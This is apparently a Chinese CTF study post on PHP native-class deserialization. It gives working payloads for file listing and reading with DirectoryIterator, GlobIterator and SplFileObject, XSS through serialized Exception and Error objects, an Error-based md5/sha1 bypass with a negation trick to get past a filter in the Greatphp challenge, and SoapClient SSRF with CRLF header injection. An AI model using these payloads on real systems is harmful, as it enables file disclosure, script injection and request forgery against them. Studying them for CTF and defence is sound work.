PHP原生类反序列化
网上的一篇文章:
https://www.anquanke.com/post/id/264823
根据上面那个来具体的学习一下
分类:
1.读取目录/文件(内容)
读取文件目录/文件名字的有两个类
1.DirectoryIterator 2.FilesystemIterator
其中FilesystemIterator是一个子类
它两个下面都有_toString魔术方法  通过触发这个魔术方法,利用glob:///进行一个读取
下面看一下具体的例子,并看一下两者的区别
DirectoryIterator
((PHP 5, PHP 7, PHP 8))
| 12
 3
 4
 5
 6
 7
 8
 
 | <?phphighlight_file(__FILE__);
 $dir=$_GET['c'];
 $a=new DirectoryIterator($dir);
 foreach($a as $f){
 echo($f->__toString().'<br>');
 }
 ?>
 
 | 
这个读取的是当前目录下的文件名字,并不会显示上一层的名字

FilesystemIterator
((PHP 5 >= 5.3.0, PHP 7, PHP 8))
| 12
 3
 4
 5
 6
 7
 8
 
 | <?phphighlight_file(__file__);
 $dir = $_GET['c'];
 $a = new FilesystemIterator($dir);
 foreach($a as $f){
 echo($f->__toString().'<br>');
 }
 ?>
 
 | 

这个会显示你上一级的名字
这两个类同样也有一句话形式payload:
DirectoryIterator:
| 1
 | $a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
 | 
FilesystemIterator:
| 1
 | $a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}
 | 
下面看一下ctfshow的web74
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?phperror_reporting(0);
 ini_set('display_errors', 0);
 
 if(isset($_POST['c'])){
 $c= $_POST['c'];
 eval($c);
 $s = ob_get_contents();
 ob_end_clean();
 echo preg_replace("/[0-9]|[a-z]/i","?",$s);
 }else{
 highlight_file(__FILE__);
 }
 ?>
 
 
 | 
这个当中由于error_reporting(0);
ini_set('display_errors', 0);  
这两行代码禁用了php错误报告,并且禁止在浏览器中显示错误信息,这意味着,没法看到执行结果
所以可以用到glod:///来进行一个读取文件名
| 1
 | c=$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}exit();
 | 
然后就可以看到文件名,最后文件包含你想要的文件即可
| 1
 | c=include('/flag.txt');exit();
 | 
假设flag.txt是在根目录的
GlobIterator
(PHP 5 >= 5.3.0, PHP 7, PHP 8)
这个是FilesystemIterator的子类  然后也可以去读取文件名 但是它的行为和glob()差不多,所以在传参的时候就不需要用glob伪协议了
下面是这个代码:
| 12
 3
 4
 5
 6
 7
 8
 
 | <?phphighlight_file(__FILE__);
 $dir=$_GET['c'];
 $a=new GlobIterator($dir);
 foreach($a as $f){
 echo($f->__toString().'<br>');
 }
 ?>
 
 | 
结果如下图所示:

也是绝对路径
下面就是读取文件内容的类了
SPIFileInfo
(PHP 5 >= 5.1.2, PHP 7, PHP 8)
SPIFileInfo类为单个文件的信息提供了高级的面向对象接口
| 12
 3
 4
 5
 
 | <?phphighlight_file(__file__);
 $context = new SplFileObject('flag.txt');
 echo $context;
 ?>
 
 | 
结果如下图所示:

如果出现以下类似的代码:
| 12
 3
 4
 5
 
 | public function __destruct(){
 echo new $this->class($this->data);
 }
 这个class就是那些类,然后data就是那些命令
 
 | 
2.构造xss
有两个类 
1.Error 2.Exception
这两个类当中都有_toString这两个魔术方法
1.Error(在php7,8开启的时候开启报错)  Error 是所有PHP内部错误类的基类。
2.Exception(在php5,7,8开启的时候开启报错)   Exception是所有用户级异常的基类。
通过echo(不只是echo 当对象被当成字符串时就能触发)来触发toString 进一步构造xss
通过官方文档可以看到这两个类的属性都一样


下面可以演示一下进行xss构造
先写一个经过反序列化后的代码
| 12
 3
 4
 5
 
 | <?phphighlight_file(__file__);
 $a = unserialize($_GET['k']);
 echo $a;
 ?>
 
 | 
这里的echo是触发的关键
然后下面是构造xss
| 12
 3
 4
 5
 
 | <?php$a = new Exception("<script>alert('U_F1ind_Me')</script>");
 $b = serialize($a);
 echo urlencode($b);
 ?>
 
 | 
因为有不可见字符,所以要url编码一下
需要注意的就是只有Exception才能在php5进行一个xss
Error只有在7或8下进行一个xss
3.绕过哈希比较
这个是利用了Error的报错信息 
可以用一些代码来说明一下:
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <?php$a = new Error("payload",1);$b=new Error("payload",2);
 var_dump($a===$b);
 echo '<br>';
 echo $a;
 echo '<br>';
 echo $b;
 echo '<br>';
 ?>
 
 | 
这个的运行结果是:

两个new Error的类都在同一行 报错信息也是同一行,虽然两个的内容不一样 但是报错信息一样 这样在面对一些哈希比较的时候就可以进行绕过
下面来一个题目看看:
[极客大挑战 2020]Greatphp
进入后查看一下代码:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 
 | <?phperror_reporting(0);
 class SYCLOVER {
 public $syc;
 public $lover;
 
 public function __wakeup(){
 if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
 if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
 eval($this->syc);
 } else {
 die("Try Hard !!");
 }
 
 }
 }
 }
 
 if (isset($_GET['great'])){
 unserialize($_GET['great']);
 } else {
 highlight_file(__FILE__);
 }
 
 ?>
 
 | 
然后我们要做的就是执行eval命令
这个前提就是  if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )  先满足这个if语句 这个我们之前做的MD5碰撞就不能用了 可以用Error报错信息进行一个哈希绕过
就是让两个Error语句在同一行 然后和之前的没什么区别了
这个有一个正则匹配 过滤了小括号和双引号 我们用取反进行一个绕过
$str="?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
主要的就是上面的那个
最终构造:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <?phpclass SYCLOVER {
 public $syc;
 public $lover;
 
 public function __wakeup(){
 if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
 if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
 eval($this->syc);
 } else {
 die("Try Hard !!");
 }
 
 }
 }
 }
 $str="?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
 $c=new SYCLOVER();
 $a=new Error($str,1);$b=new Error($str,2);
 $c->syc=$a;
 $c->lover=$b;
 echo urlencode(serialize($c));
 ?>
 
 | 
4.SSRF
这个和SoapClient这个类有关
这个类里面有一个call魔术方法  当调用不存在的方法时被调用
注意要开启soap选项 否则不会监听成功
PHP的内置类SoaPClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问web服务的php客户端。
函数的形式如下:
| 1
 | public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
 | 
第一个参数为指明是否为wsdl模式,为null则为非wsdl模式
wsdl就是一个xml格式的文档,用于描述web server的定义
第二个参数为array,wsdl模式下可选;非wsdl模式下,需要设置location和uri,location就是发送的soap服务器的url,uri是服务的命名空间
下面可以看一下:
| 12
 3
 4
 5
 6
 7
 8
 
 | <?php$target = 'http://192.168.122.136:2022/';
 $a=new SoapClient(null,array('location'=>$target,'user_agent'=>"qaq\r\nCookie: PHPSESSID=wangluoanquanqaq1213",'uri'=>'test'));
 $b=serialize($a);
 echo $b;
 $c=unserialize($b);
 $c->a();
 ?>
 
 | 

这个soapaction的内容是我们可以控制的
其实也就是uri的内容
然后这里的话可以与CRLF进行一个结合 进行CRLF攻击(就是利用了\r\n)
可以参考这篇文章:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html
可以结合CRLF进行xss => HRS
这个SoapCliet原生类我感觉就是结合CRLF进行一个http的一些修改
可以举一个例子:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <?php$target = 'http://192.168.122.136:2022/';
 $post_data = 'data=ki10Moc';
 $headers = array(
 'X-Forwarded-For: 127.0.0.1',
 'Cookie: PHPSESSID=8asIKRJGI2493324gfsjkk958'
 );
 $a = new SoapClient(null,array('location' => $target,'user_agent'=>'Happy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'ki10Moc'));
 $b = serialize($a);
 $b = str_replace('^^',"\r\n",$b);
 echo $b;
 $c = unserialize($b);
 $c->a();
 ?>
 
 | 
上面的代码修改了Xff头 cookie的值以及UA头的内容